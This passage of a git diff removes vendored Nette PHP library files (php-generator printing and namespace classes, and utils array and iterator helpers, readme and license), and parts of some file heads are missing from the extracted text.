a/vendor/nette/php-generator/src/PhpGenerator/PhpLiteral.php b/vendor/nette/php-generator/src/PhpGenerator/PhpLiteral.php deleted file mode 100644 index 10fd5a5..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/PhpLiteral.php +++ /dev/null @@ -1,15 +0,0 @@ - 1, 'int' => 1, 'float' => 1, 'bool' => 1, 'array' => 1, 'object' => 1, - 'callable' => 1, 'iterable' => 1, 'void' => 1, 'self' => 1, 'parent' => 1, 'static' => 1, - 'mixed' => 1, 'null' => 1, 'false' => 1, - ]; - - /** @var string */ - private $name; - - /** @var bool */ - private $bracketedSyntax = false; - - /** @var string[] */ - private $uses = []; - - /** @var ClassType[] */ - private $classes = []; - - - public function __construct(string $name) - { - if ($name !== '' && !Helpers::isNamespaceIdentifier($name)) { - throw new Nette\InvalidArgumentException("Value '$name' is not valid name."); - } - $this->name = $name; - } - - - public function getName(): string - { - return $this->name; - } - - - /** - * @return static - * @internal - */ - public function setBracketedSyntax(bool $state = true): self - { - $this->bracketedSyntax = $state; - return $this; - } - - - public function hasBracketedSyntax(): bool - { - return $this->bracketedSyntax; - } - - - /** @deprecated use hasBracketedSyntax() */ - public function getBracketedSyntax(): bool - { - return $this->bracketedSyntax; - } - - - /** - * @throws InvalidStateException - * @return static - */ - public function addUse(string $name, string $alias = null, string &$aliasOut = null): self - { - $name = ltrim($name, '\\'); - if ($alias === null && $this->name === Helpers::extractNamespace($name)) { - $alias = Helpers::extractShortName($name); - } - if ($alias === null) { - $path = explode('\\', $name); - $counter = null; - do { - if (empty($path)) { - $counter++; - } else { - $alias = array_pop($path) . $alias; - } - } while (isset($this->uses[$alias . $counter]) && $this->uses[$alias . $counter] !== $name); - $alias .= $counter; - - } elseif (isset($this->uses[$alias]) && $this->uses[$alias] !== $name) { - throw new InvalidStateException( - "Alias '$alias' used already for '{$this->uses[$alias]}', cannot use for '{$name}'." - ); - } - - $aliasOut = $alias; - $this->uses[$alias] = $name; - asort($this->uses); - return $this; - } - - - /** @return string[] */ - public function getUses(): array - { - return $this->uses; - } - - - public function unresolveName(string $name): string - { - if (isset(self::KEYWORDS[strtolower($name)]) || $name === '') { - return $name; - } - $name = ltrim($name, '\\'); - $res = null; - $lower = strtolower($name); - foreach ($this->uses as $alias => $original) { - if (Strings::startsWith($lower . '\\', strtolower($original) . '\\')) { - $short = $alias . substr($name, strlen($original)); - if (!isset($res) || strlen($res) > strlen($short)) { - $res = $short; - } - } - } - - if (!$res && Strings::startsWith($lower, strtolower($this->name) . '\\')) { - return substr($name, strlen($this->name) + 1); - } else { - return $res ?: ($this->name ? '\\' : '') . $name; - } - } - - - /** @return static */ - public function add(ClassType $class): self - { - $name = $class->getName(); - if ($name === null) { - throw new Nette\InvalidArgumentException('Class does not have a name.'); - } - $this->addUse($this->name . '\\' . $name); - $this->classes[$name] = $class; - return $this; - } - - - public function addClass(string $name): ClassType - { - $this->add($class = new ClassType($name, $this)); - return $class; - } - - - public function addInterface(string $name): ClassType - { - return $this->addClass($name)->setInterface(); - } - - - public function addTrait(string $name): ClassType - { - return $this->addClass($name)->setTrait(); - } - - - /** @return ClassType[] */ - public function getClasses(): array - { - return $this->classes; - } - - - public function __toString(): string - { - try { - return (new Printer)->printNamespace($this); - } catch (\Throwable $e) { - if (PHP_VERSION_ID >= 70400) { - throw $e; - } - trigger_error('Exception in ' . __METHOD__ . "(): {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}", E_USER_ERROR); - return ''; - } - } -} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Printer.php b/vendor/nette/php-generator/src/PhpGenerator/Printer.php deleted file mode 100644 index 23dc76c..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/Printer.php +++ /dev/null @@ -1,295 +0,0 @@ -getComment() . "\n") - . 'function ' - . ($function->getReturnReference() ? '&' : '') - . $function->getName() - . $this->printParameters($function, $namespace) - . $this->printReturnType($function, $namespace) - . "\n{\n" . $this->indent(ltrim(rtrim($function->getBody()) . "\n")) . "}\n"; - } - - - public function printClosure(Closure $closure): string - { - $uses = []; - foreach ($closure->getUses() as $param) { - $uses[] = ($param->isReference() ? '&' : '') . '$' . $param->getName(); - } - $useStr = strlen($tmp = implode(', ', $uses)) > (new Dumper)->wrapLength && count($uses) > 1 - ? "\n" . $this->indentation . implode(",\n" . $this->indentation, $uses) . "\n" - : $tmp; - - return 'function ' - . ($closure->getReturnReference() ? '&' : '') - . $this->printParameters($closure, null) - . ($uses ? " use ($useStr)" : '') - . $this->printReturnType($closure, null) - . " {\n" . $this->indent(ltrim(rtrim($closure->getBody()) . "\n")) . '}'; - } - - - public function printArrowFunction(Closure $closure): string - { - foreach ($closure->getUses() as $use) { - if ($use->isReference()) { - throw new Nette\InvalidArgumentException('Arrow function cannot bind variables by-reference.'); - } - } - - return 'fn ' - . ($closure->getReturnReference() ? '&' : '') - . $this->printParameters($closure, null) - . $this->printReturnType($closure, null) - . ' => ' . trim($closure->getBody()) . ';'; - } - - - public function printMethod(Method $method, PhpNamespace $namespace = null): string - { - $method->validate(); - return Helpers::formatDocComment($method->getComment() . "\n") - . ($method->isAbstract() ? 'abstract ' : '') - . ($method->isFinal() ? 'final ' : '') - . ($method->getVisibility() ? $method->getVisibility() . ' ' : '') - . ($method->isStatic() ? 'static ' : '') - . 'function ' - . ($method->getReturnReference() ? '&' : '') - . $method->getName() - . ($params = $this->printParameters($method, $namespace)) - . $this->printReturnType($method, $namespace) - . ($method->isAbstract() || $method->getBody() === null - ? ";\n" - : (strpos($params, "\n") === false ? "\n" : ' ') - . "{\n" - . $this->indent(ltrim(rtrim($method->getBody()) . "\n")) - . "}\n"); - } - - - public function printClass(ClassType $class, PhpNamespace $namespace = null): string - { - $class->validate(); - $resolver = $this->resolveTypes && $namespace ? [$namespace, 'unresolveName'] : function ($s) { return $s; }; - - $traits = []; - foreach ($class->getTraitResolutions() as $trait => $resolutions) { - $traits[] = 'use ' . $resolver($trait) - . ($resolutions ? " {\n" . $this->indentation . implode(";\n" . $this->indentation, $resolutions) . ";\n}\n" : ";\n"); - } - - $consts = []; - foreach ($class->getConstants() as $const) { - $def = ($const->getVisibility() ? $const->getVisibility() . ' ' : '') . 'const ' . $const->getName() . ' = '; - $consts[] = Helpers::formatDocComment((string) $const->getComment()) - . $def - . $this->dump($const->getValue(), strlen($def)) . ";\n"; - } - - $properties = []; - foreach ($class->getProperties() as $property) { - $type = $property->getType(); - $def = (($property->getVisibility() ?: 'public') . ($property->isStatic() ? ' static' : '') . ' ' - . ltrim($this->printType($type, $property->isNullable(), $namespace) . ' ') - . '$' . $property->getName()); - - $properties[] = Helpers::formatDocComment((string) $property->getComment()) - . $def - . ($property->getValue() === null && !$property->isInitialized() ? '' : ' = ' . $this->dump($property->getValue(), strlen($def) + 3)) // 3 = ' = ' - . ";\n"; - } - - $methods = []; - foreach ($class->getMethods() as $method) { - $methods[] = $this->printMethod($method, $namespace); - } - - $members = array_filter([ - implode('', $traits), - $this->joinProperties($consts), - $this->joinProperties($properties), - ($methods && $properties ? str_repeat("\n", $this->linesBetweenMethods - 1) : '') - . implode(str_repeat("\n", $this->linesBetweenMethods), $methods), - ]); - - return Strings::normalize( - Helpers::formatDocComment($class->getComment() . "\n") - . ($class->isAbstract() ? 'abstract ' : '') - . ($class->isFinal() ? 'final ' : '') - . ($class->getName() ? $class->getType() . ' ' . $class->getName() . ' ' : '') - . ($class->getExtends() ? 'extends ' . implode(', ', array_map($resolver, (array) $class->getExtends())) . ' ' : '') - . ($class->getImplements() ? 'implements ' . implode(', ', array_map($resolver, $class->getImplements())) . ' ' : '') - . ($class->getName() ? "\n" : '') . "{\n" - . ($members ? $this->indent(implode("\n", $members)) : '') - . '}' - ) . ($class->getName() ? "\n" : ''); - } - - - public function printNamespace(PhpNamespace $namespace): string - { - $name = $namespace->getName(); - $uses = $this->printUses($namespace); - - $classes = []; - foreach ($namespace->getClasses() as $class) { - $classes[] = $this->printClass($class, $namespace); - } - - $body = ($uses ? $uses . "\n\n" : '') - . implode("\n", $classes); - - if ($namespace->hasBracketedSyntax()) { - return 'namespace' . ($name ? " $name" : '') . "\n{\n" - . $this->indent($body) - . "}\n"; - - } else { - return ($name ? "namespace $name;\n\n" : '') - . $body; - } - } - - - public function printFile(PhpFile $file): string - { - $namespaces = []; - foreach ($file->getNamespaces() as $namespace) { - $namespaces[] = $this->printNamespace($namespace); - } - - return Strings::normalize( - "getComment() ? "\n" . Helpers::formatDocComment($file->getComment() . "\n") : '') - . "\n" - . ($file->hasStrictTypes() ? "declare(strict_types=1);\n\n" : '') - . implode("\n\n", $namespaces) - ) . "\n"; - } - - - /** @return static */ - public function setTypeResolving(bool $state = true): self - { - $this->resolveTypes = $state; - return $this; - } - - - protected function indent(string $s): string - { - $s = str_replace("\t", $this->indentation, $s); - return Strings::indent($s, 1, $this->indentation); - } - - - protected function dump($var, int $column = 0): string - { - return (new Dumper)->dump($var, $column); - } - - - protected function printUses(PhpNamespace $namespace): string - { - $name = $namespace->getName(); - $uses = []; - foreach ($namespace->getUses() as $alias => $original) { - if ($original !== ($name ? $name . '\\' . $alias : $alias)) { - if ($alias === $original || substr($original, -(strlen($alias) + 1)) === '\\' . $alias) { - $uses[] = "use $original;"; - } else { - $uses[] = "use $original as $alias;"; - } - } - } - return implode("\n", $uses); - } - - - /** - * @param Closure|GlobalFunction|Method $function - */ - public function printParameters($function, PhpNamespace $namespace = null): string - { - $params = []; - $list = $function->getParameters(); - foreach ($list as $param) { - $variadic = $function->isVariadic() && $param === end($list); - $type = $param->getType(); - $params[] = ltrim($this->printType($type, $param->isNullable(), $namespace) . ' ') - . ($param->isReference() ? '&' : '') - . ($variadic ? '...' : '') - . '$' . $param->getName() - . ($param->hasDefaultValue() && !$variadic ? ' = ' . $this->dump($param->getDefaultValue()) : ''); - } - - return strlen($tmp = implode(', ', $params)) > (new Dumper)->wrapLength && count($params) > 1 - ? "(\n" . $this->indentation . implode(",\n" . $this->indentation, $params) . "\n)" - : "($tmp)"; - } - - - public function printType(?string $type, bool $nullable = false, PhpNamespace $namespace = null): string - { - return $type - ? ($nullable ? '?' : '') . ($this->resolveTypes && $namespace ? $namespace->unresolveName($type) : $type) - : ''; - } - - - /** - * @param Closure|GlobalFunction|Method $function - */ - private function printReturnType($function, ?PhpNamespace $namespace): string - { - return ($tmp = $this->printType($function->getReturnType(), $function->isReturnNullable(), $namespace)) - ? $this->returnTypeColon . $tmp - : ''; - } - - - private function joinProperties(array $props) - { - return $this->linesBetweenProperties - ? implode(str_repeat("\n", $this->linesBetweenProperties), $props) - : preg_replace('#^(\w.*\n)\n(?=\w.*;)#m', '$1', implode("\n", $props)); - } -} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Property.php b/vendor/nette/php-generator/src/PhpGenerator/Property.php deleted file mode 100644 index 6731e6b..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/Property.php +++ /dev/null @@ -1,111 +0,0 @@ -value = $val; - return $this; - } - - - public function &getValue() - { - return $this->value; - } - - - /** @return static */ - public function setStatic(bool $state = true): self - { - $this->static = $state; - return $this; - } - - - public function isStatic(): bool - { - return $this->static; - } - - - /** @return static */ - public function setType(?string $val): self - { - $this->type = $val; - return $this; - } - - - public function getType(): ?string - { - return $this->type; - } - - - /** @return static */ - public function setNullable(bool $state = true): self - { - $this->nullable = $state; - return $this; - } - - - public function isNullable(): bool - { - return $this->nullable; - } - - - /** @return static */ - public function setInitialized(bool $state = true): self - { - $this->initialized = $state; - return $this; - } - - - public function isInitialized(): bool - { - return $this->initialized; - } -} diff --git a/vendor/nette/php-generator/src/PhpGenerator/PsrPrinter.php b/vendor/nette/php-generator/src/PhpGenerator/PsrPrinter.php deleted file mode 100644 index aef0f7d..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/PsrPrinter.php +++ /dev/null @@ -1,23 +0,0 @@ -comment = $val; - return $this; - } - - - public function getComment(): ?string - { - return $this->comment; - } - - - /** @return static */ - public function addComment(string $val): self - { - $this->comment .= $this->comment ? "\n$val" : $val; - return $this; - } -} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Traits/FunctionLike.php b/vendor/nette/php-generator/src/PhpGenerator/Traits/FunctionLike.php deleted file mode 100644 index 73608bf..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/Traits/FunctionLike.php +++ /dev/null @@ -1,180 +0,0 @@ -body = $args === null ? $code : (new Dumper)->format($code, ...$args); - return $this; - } - - - public function getBody(): string - { - return $this->body; - } - - - /** @return static */ - public function addBody(string $code, array $args = null): self - { - $this->body .= ($args === null ? $code : (new Dumper)->format($code, ...$args)) . "\n"; - return $this; - } - - - /** - * @param Parameter[] $val - * @return static - */ - public function setParameters(array $val): self - { - $this->parameters = []; - foreach ($val as $v) { - if (!$v instanceof Parameter) { - throw new Nette\InvalidArgumentException('Argument must be Nette\PhpGenerator\Parameter[].'); - } - $this->parameters[$v->getName()] = $v; - } - return $this; - } - - - /** @return Parameter[] */ - public function getParameters(): array - { - return $this->parameters; - } - - - /** - * @param string $name without $ - */ - public function addParameter(string $name, $defaultValue = null): Parameter - { - $param = new Parameter($name); - if (func_num_args() > 1) { - $param->setDefaultValue($defaultValue); - } - return $this->parameters[$name] = $param; - } - - - /** - * @param string $name without $ - * @return static - */ - public function removeParameter(string $name): self - { - unset($this->parameters[$name]); - return $this; - } - - - /** @return static */ - public function setVariadic(bool $state = true): self - { - $this->variadic = $state; - return $this; - } - - - public function isVariadic(): bool - { - return $this->variadic; - } - - - /** @return static */ - public function setReturnType(?string $val): self - { - $this->returnType = $val; - return $this; - } - - - public function getReturnType(): ?string - { - return $this->returnType; - } - - - /** @return static */ - public function setReturnReference(bool $state = true): self - { - $this->returnReference = $state; - return $this; - } - - - public function getReturnReference(): bool - { - return $this->returnReference; - } - - - /** @return static */ - public function setReturnNullable(bool $state = true): self - { - $this->returnNullable = $state; - return $this; - } - - - public function isReturnNullable(): bool - { - return $this->returnNullable; - } - - - /** @deprecated use isReturnNullable() */ - public function getReturnNullable(): bool - { - return $this->returnNullable; - } - - - /** @deprecated */ - public function setNamespace(Nette\PhpGenerator\PhpNamespace $val = null): self - { - trigger_error(__METHOD__ . '() is deprecated', E_USER_DEPRECATED); - return $this; - } -} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Traits/NameAware.php b/vendor/nette/php-generator/src/PhpGenerator/Traits/NameAware.php deleted file mode 100644 index 157aa0f..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/Traits/NameAware.php +++ /dev/null @@ -1,49 +0,0 @@ -name = $name; - } - - - public function getName(): string - { - return $this->name; - } - - - /** - * Returns clone with a different name. - * @return static - */ - public function cloneWithName(string $name): self - { - $dolly = clone $this; - $dolly->__construct($name); - return $dolly; - } -} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Traits/VisibilityAware.php b/vendor/nette/php-generator/src/PhpGenerator/Traits/VisibilityAware.php deleted file mode 100644 index 3dd862c..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/Traits/VisibilityAware.php +++ /dev/null @@ -1,85 +0,0 @@ -visibility = $val; - return $this; - } - - - public function getVisibility(): ?string - { - return $this->visibility; - } - - - /** @return static */ - public function setPublic(): self - { - $this->visibility = ClassType::VISIBILITY_PUBLIC; - return $this; - } - - - public function isPublic(): bool - { - return $this->visibility === ClassType::VISIBILITY_PUBLIC || $this->visibility === null; - } - - - /** @return static */ - public function setProtected(): self - { - $this->visibility = ClassType::VISIBILITY_PROTECTED; - return $this; - } - - - public function isProtected(): bool - { - return $this->visibility === ClassType::VISIBILITY_PROTECTED; - } - - - /** @return static */ - public function setPrivate(): self - { - $this->visibility = ClassType::VISIBILITY_PRIVATE; - return $this; - } - - - public function isPrivate(): bool - { - return $this->visibility === ClassType::VISIBILITY_PRIVATE; - } -} diff --git a/vendor/nette/php-generator/src/PhpGenerator/Type.php b/vendor/nette/php-generator/src/PhpGenerator/Type.php deleted file mode 100644 index d320bf3..0000000 --- a/vendor/nette/php-generator/src/PhpGenerator/Type.php +++ /dev/null @@ -1,66 +0,0 @@ -=7.1" - }, - "require-dev": { - "nette/tester": "~2.0", - "tracy/tracy": "^2.3", - "phpstan/phpstan": "^0.12" - }, - "suggest": { - "ext-iconv": "to use Strings::webalize(), toAscii(), chr() and reverse()", - "ext-json": "to use Nette\\Utils\\Json", - "ext-intl": "to use Strings::webalize(), toAscii(), normalize() and compare()", - "ext-mbstring": "to use Strings::lower() etc...", - "ext-xml": "to use Strings::length() etc. when mbstring is not available", - "ext-gd": "to use Image", - "ext-tokenizer": "to use Nette\\Utils\\Reflection::getUseStatements()" - }, - "autoload": { - "classmap": ["src/"] - }, - "minimum-stability": "dev", - "scripts": { - "phpstan": "phpstan analyse --level 5 --configuration tests/phpstan.neon src", - "tester": "tester tests -s" - }, - "extra": { - "branch-alias": { - "dev-master": "3.1-dev" - } - } -} diff --git a/vendor/nette/utils/contributing.md b/vendor/nette/utils/contributing.md deleted file mode 100644 index 184152c..0000000 --- a/vendor/nette/utils/contributing.md +++ /dev/null @@ -1,33 +0,0 @@ -How to contribute & use the issue tracker -========================================= - -Nette welcomes your contributions. There are several ways to help out: - -* Create an issue on GitHub, if you have found a bug -* Write test cases for open bug issues -* Write fixes for open bug/feature issues, preferably with test cases included -* Contribute to the [documentation](https://nette.org/en/writing) - -Issues ------- - -Please **do not use the issue tracker to ask questions**. We will be happy to help you -on [Nette forum](https://forum.nette.org) or chat with us on [Gitter](https://gitter.im/nette/nette). - -A good bug report shouldn't leave others needing to chase you up for more -information. Please try to be as detailed as possible in your report. - -**Feature requests** are welcome. But take a moment to find out whether your idea -fits with the scope and aims of the project. It's up to *you* to make a strong -case to convince the project's developers of the merits of this feature. - -Contributing ------------- - -If you'd like to contribute, please take a moment to read [the contributing guide](https://nette.org/en/contributing). - -The best way to propose a feature is to discuss your ideas on [Nette forum](https://forum.nette.org) before implementing them. - -Please do not fix whitespace, format code, or make a purely cosmetic patch. - -Thanks! :heart: diff --git a/vendor/nette/utils/license.md b/vendor/nette/utils/license.md deleted file mode 100644 index cf741bd..0000000 --- a/vendor/nette/utils/license.md +++ /dev/null @@ -1,60 +0,0 @@ -Licenses -======== - -Good news! You may use Nette Framework under the terms of either -the New BSD License or the GNU General Public License (GPL) version 2 or 3. - -The BSD License is recommended for most projects. It is easy to understand and it -places almost no restrictions on what you can do with the framework. If the GPL -fits better to your project, you can use the framework under this license. - -You don't have to notify anyone which license you are using. You can freely -use Nette Framework in commercial projects as long as the copyright header -remains intact. - -Please be advised that the name "Nette Framework" is a protected trademark and its -usage has some limitations. So please do not use word "Nette" in the name of your -project or top-level domain, and choose a name that stands on its own merits. -If your stuff is good, it will not take long to establish a reputation for yourselves. - - -New BSD License ---------------- - -Copyright (c) 2004, 2014 David Grudl (https://davidgrudl.com) -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - - * Neither the name of "Nette Framework" nor the names of its contributors - may be used to endorse or promote products derived from this software - without specific prior written permission. - -This software is provided by the copyright holders and contributors "as is" and -any express or implied warranties, including, but not limited to, the implied -warranties of merchantability and fitness for a particular purpose are -disclaimed. In no event shall the copyright owner or contributors be liable for -any direct, indirect, incidental, special, exemplary, or consequential damages -(including, but not limited to, procurement of substitute goods or services; -loss of use, data, or profits; or business interruption) however caused and on -any theory of liability, whether in contract, strict liability, or tort -(including negligence or otherwise) arising in any way out of the use of this -software, even if advised of the possibility of such damage. - - -GNU General Public License --------------------------- - -GPL licenses are very very long, so instead of including them here we offer -you URLs with full text: - -- [GPL version 2](http://www.gnu.org/licenses/gpl-2.0.html) -- [GPL version 3](http://www.gnu.org/licenses/gpl-3.0.html) diff --git a/vendor/nette/utils/readme.md b/vendor/nette/utils/readme.md deleted file mode 100644 index fd971d3..0000000 --- a/vendor/nette/utils/readme.md +++ /dev/null @@ -1,43 +0,0 @@ -Nette Utility Classes -===================== - -[![Downloads this Month](https://img.shields.io/packagist/dm/nette/utils.svg)](https://packagist.org/packages/nette/utils) -[![Build Status](https://travis-ci.org/nette/utils.svg?branch=master)](https://travis-ci.org/nette/utils) -[![Coverage Status](https://coveralls.io/repos/github/nette/utils/badge.svg?branch=master)](https://coveralls.io/github/nette/utils?branch=master) -[![Latest Stable Version](https://poser.pugx.org/nette/utils/v/stable)](https://github.com/nette/utils/releases) -[![License](https://img.shields.io/badge/license-New%20BSD-blue.svg)](https://github.com/nette/utils/blob/master/license.md) - - -Introduction ------------- - -In package nette/utils you will find a set of [useful classes](https://doc.nette.org/utils) for everyday use: - -- [Arrays](https://doc.nette.org/arrays) - manipulate arrays -- [Callback](https://doc.nette.org/callback) - PHP callbacks -- [Date and Time](https://doc.nette.org/datetime) - modify times and dates -- [Filesystem](https://doc.nette.org/filesystem) - copying, renaming, … -- [Helper Functions](https://doc.nette.org/helpers) -- [HTML elements](https://doc.nette.org/html-elements) - generate HTML -- [Images](https://doc.nette.org/images) - crop, resize, rotate images -- [JSON](https://doc.nette.org/json) - encoding and decoding -- [Generating Random Strings](https://doc.nette.org/random) -- [Paginator](https://doc.nette.org/paginator) - pagination math -- [PHP Reflection](https://doc.nette.org/reflection) -- [Strings](https://doc.nette.org/strings) - useful text functions -- [SmartObject](https://doc.nette.org/smartobject) - PHP object enhancements -- [Validation](https://doc.nette.org/validators) - validate inputs - - -Installation ------------- - -The recommended way to install is via Composer: - -``` -composer require nette/utils -``` - -- Nette Utils 3.1 is compatible with PHP 7.1 to 8.0 -- Nette Utils 3.0 is compatible with PHP 7.1 to 7.4 -- Nette Utils 2.5 is compatible with PHP 5.6 to 7.4 diff --git a/vendor/nette/utils/src/Iterators/CachingIterator.php b/vendor/nette/utils/src/Iterators/CachingIterator.php deleted file mode 100644 index c239355..0000000 --- a/vendor/nette/utils/src/Iterators/CachingIterator.php +++ /dev/null @@ -1,166 +0,0 @@ -getIterator(); - } while ($iterator instanceof \IteratorAggregate); - assert($iterator instanceof \Iterator); - - } elseif ($iterator instanceof \Iterator) { - } elseif ($iterator instanceof \Traversable) { - $iterator = new \IteratorIterator($iterator); - } else { - throw new Nette\InvalidArgumentException(sprintf('Invalid argument passed to %s; array or Traversable expected, %s given.', __CLASS__, is_object($iterator) ? get_class($iterator) : gettype($iterator))); - } - - parent::__construct($iterator, 0); - } - - - /** - * Is the current element the first one? - */ - public function isFirst(int $gridWidth = null): bool - { - return $this->counter === 1 || ($gridWidth && $this->counter !== 0 && (($this->counter - 1) % $gridWidth) === 0); - } - - - /** - * Is the current element the last one? - */ - public function isLast(int $gridWidth = null): bool - { - return !$this->hasNext() || ($gridWidth && ($this->counter % $gridWidth) === 0); - } - - - /** - * Is the iterator empty? - */ - public function isEmpty(): bool - { - return $this->counter === 0; - } - - - /** - * Is the counter odd? - */ - public function isOdd(): bool - { - return $this->counter % 2 === 1; - } - - - /** - * Is the counter even? - */ - public function isEven(): bool - { - return $this->counter % 2 === 0; - } - - - /** - * Returns the counter. - */ - public function getCounter(): int - { - return $this->counter; - } - - - /** - * Returns the count of elements. - */ - public function count(): int - { - $inner = $this->getInnerIterator(); - if ($inner instanceof \Countable) { - return $inner->count(); - - } else { - throw new Nette\NotSupportedException('Iterator is not countable.'); - } - } - - - /** - * Forwards to the next element. - */ - public function next(): void - { - parent::next(); - if (parent::valid()) { - $this->counter++; - } - } - - - /** - * Rewinds the Iterator. - */ - public function rewind(): void - { - parent::rewind(); - $this->counter = parent::valid() ? 1 : 0; - } - - - /** - * Returns the next key. - * @return mixed - */ - public function getNextKey() - { - return $this->getInnerIterator()->key(); - } - - - /** - * Returns the next element. - * @return mixed - */ - public function getNextValue() - { - return $this->getInnerIterator()->current(); - } -} diff --git a/vendor/nette/utils/src/Iterators/Mapper.php b/vendor/nette/utils/src/Iterators/Mapper.php deleted file mode 100644 index fec8086..0000000 --- a/vendor/nette/utils/src/Iterators/Mapper.php +++ /dev/null @@ -1,34 +0,0 @@ -callback = $callback; - } - - - public function current() - { - return ($this->callback)(parent::current(), parent::key()); - } -} diff --git a/vendor/nette/utils/src/Utils/ArrayHash.php b/vendor/nette/utils/src/Utils/ArrayHash.php deleted file mode 100644 index d844609..0000000 --- a/vendor/nette/utils/src/Utils/ArrayHash.php +++ /dev/null @@ -1,99 +0,0 @@ - $value) { - if ($recursive && is_array($value)) { - $obj->$key = static::from($value, true); - } else { - $obj->$key = $value; - } - } - return $obj; - } - - - /** - * Returns an iterator over all items. - */ - public function getIterator(): \RecursiveArrayIterator - { - return new \RecursiveArrayIterator((array) $this); - } - - - /** - * Returns items count. - */ - public function count(): int - { - return count((array) $this); - } - - - /** - * Replaces or appends a item. - * @param string|int $key - * @param mixed $value - */ - public function offsetSet($key, $value): void - { - if (!is_scalar($key)) { // prevents null - throw new Nette\InvalidArgumentException(sprintf('Key must be either a string or an integer, %s given.', gettype($key))); - } - $this->$key = $value; - } - - - /** - * Returns a item. - * @param string|int $key - * @return mixed - */ - public function offsetGet($key) - { - return $this->$key; - } - - - /** - * Determines whether a item exists. - * @param string|int $key - */ - public function offsetExists($key): bool - { - return isset($this->$key); - } - - - /** - * Removes the element from this list. - * @param string|int $key - */ - public function offsetUnset($key): void - { - unset($this->$key); - } -} diff --git a/vendor/nette/utils/src/Utils/ArrayList.php b/vendor/nette/utils/src/Utils/ArrayList.php deleted file mode 100644 index dd00903..0000000 --- a/vendor/nette/utils/src/Utils/ArrayList.php +++ /dev/null @@ -1,113 +0,0 @@ -list); - } - - - /** - * Returns items count. - */ - public function count(): int - { - return count($this->list); - } - - - /** - * Replaces or appends a item. - * @param int|null $index - * @param mixed $value - * @throws Nette\OutOfRangeException - */ - public function offsetSet($index, $value): void - { - if ($index === null) { - $this->list[] = $value; - - } elseif (!is_int($index) || $index < 0 || $index >= count($this->list)) { - throw new Nette\OutOfRangeException('Offset invalid or out of range'); - - } else { - $this->list[$index] = $value; - } - } - - - /** - * Returns a item. - * @param int $index - * @return mixed - * @throws Nette\OutOfRangeException - */ - public function offsetGet($index) - { - if (!is_int($index) || $index < 0 || $index >= count($this->list)) { - throw new Nette\OutOfRangeException('Offset invalid or out of range'); - } - return $this->list[$index]; - } - - - /** - * Determines whether a item exists. - * @param int $index - */ - public function offsetExists($index): bool - { - return is_int($index) && $index >= 0 && $index < count($this->list); - } - - - /** - * Removes the element at the specified position in this list. - * @param int $index - * @throws Nette\OutOfRangeException - */ - public function offsetUnset($index): void - { - if (!is_int($index) || $index < 0 || $index >= count($this->list)) { - throw new Nette\OutOfRangeException('Offset invalid or out of range'); - } - array_splice($this->list, $index, 1); - } - - - /** - * Prepends a item. - * @param mixed $value - */ - public function prepend($value): void - { - $first = array_slice($this->list, 0, 1); - $this->offsetSet(0, $value); - array_splice($this->list, 1, 0, $first); - } -} diff --git a/vendor/nette/utils/src/Utils/Arrays.php b/vendor/nette/utils/src/Utils/Arrays.php deleted file mode 100644 index c4e956c..0000000 --- a/vendor/nette/utils/src/Utils/Arrays.php +++ /dev/null @@ -1,337 +0,0 @@ - $v) { - if (is_array($v) && is_array($array2[$k])) { - $res[$k] = self::mergeTree($v, $array2[$k]); - } - } - return $res; - } - - - /** - * Returns zero-indexed position of given array key. Returns null if key is not found. - * @param string|int $key - * @return int|null offset if it is found, null otherwise - */ - public static function searchKey(array $array, $key): ?int - { - return Helpers::falseToNull(array_search(self::toKey($key), array_keys($array), true)); - } - - - /** - * Inserts the contents of the $inserted array into the $array immediately after the $key. - * If $key is null (or does not exist), it is inserted at the end. - * @param string|int|null $key - */ - public static function insertBefore(array &$array, $key, array $inserted): void - { - $offset = (int) self::searchKey($array, $key); - $array = array_slice($array, 0, $offset, true) - + $inserted - + array_slice($array, $offset, count($array), true); - } - - - /** - * Inserts the contents of the $inserted array into the $array before the $key. - * If $key is null (or does not exist), it is inserted at the beginning. - * @param string|int|null $key - */ - public static function insertAfter(array &$array, $key, array $inserted): void - { - $offset = self::searchKey($array, $key); - $offset = $offset === null ? count($array) : $offset + 1; - $array = array_slice($array, 0, $offset, true) - + $inserted - + array_slice($array, $offset, count($array), true); - } - - - /** - * Renames key in array. - * @param string|int $oldKey - * @param string|int $newKey - */ - public static function renameKey(array &$array, $oldKey, $newKey): bool - { - $offset = self::searchKey($array, $oldKey); - if ($offset === null) { - return false; - } - $val = &$array[$oldKey]; - $keys = array_keys($array); - $keys[$offset] = $newKey; - $array = array_combine($keys, $array); - $array[$newKey] = &$val; - return true; - } - - - /** - * Returns only those array items, which matches a regular expression $pattern. - * @throws Nette\RegexpException on compilation or runtime error - */ - public static function grep(array $array, string $pattern, int $flags = 0): array - { - return Strings::pcre('preg_grep', [$pattern, $array, $flags]); - } - - - /** - * Transforms multidimensional array to flat array. - */ - public static function flatten(array $array, bool $preserveKeys = false): array - { - $res = []; - $cb = $preserveKeys - ? function ($v, $k) use (&$res): void { $res[$k] = $v; } - : function ($v) use (&$res): void { $res[] = $v; }; - array_walk_recursive($array, $cb); - return $res; - } - - - /** - * Checks if the array is indexed in ascending order of numeric keys from zero, a.k.a list. - * @param mixed $value - */ - public static function isList($value): bool - { - return is_array($value) && (!$value || array_keys($value) === range(0, count($value) - 1)); - } - - - /** - * Reformats table to associative tree. Path looks like 'field|field[]field->field=field'. - * @param string|string[] $path - * @return array|\stdClass - */ - public static function associate(array $array, $path) - { - $parts = is_array($path) - ? $path - : preg_split('#(\[\]|->|=|\|)#', $path, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY); - - if (!$parts || $parts === ['->'] || $parts[0] === '=' || $parts[0] 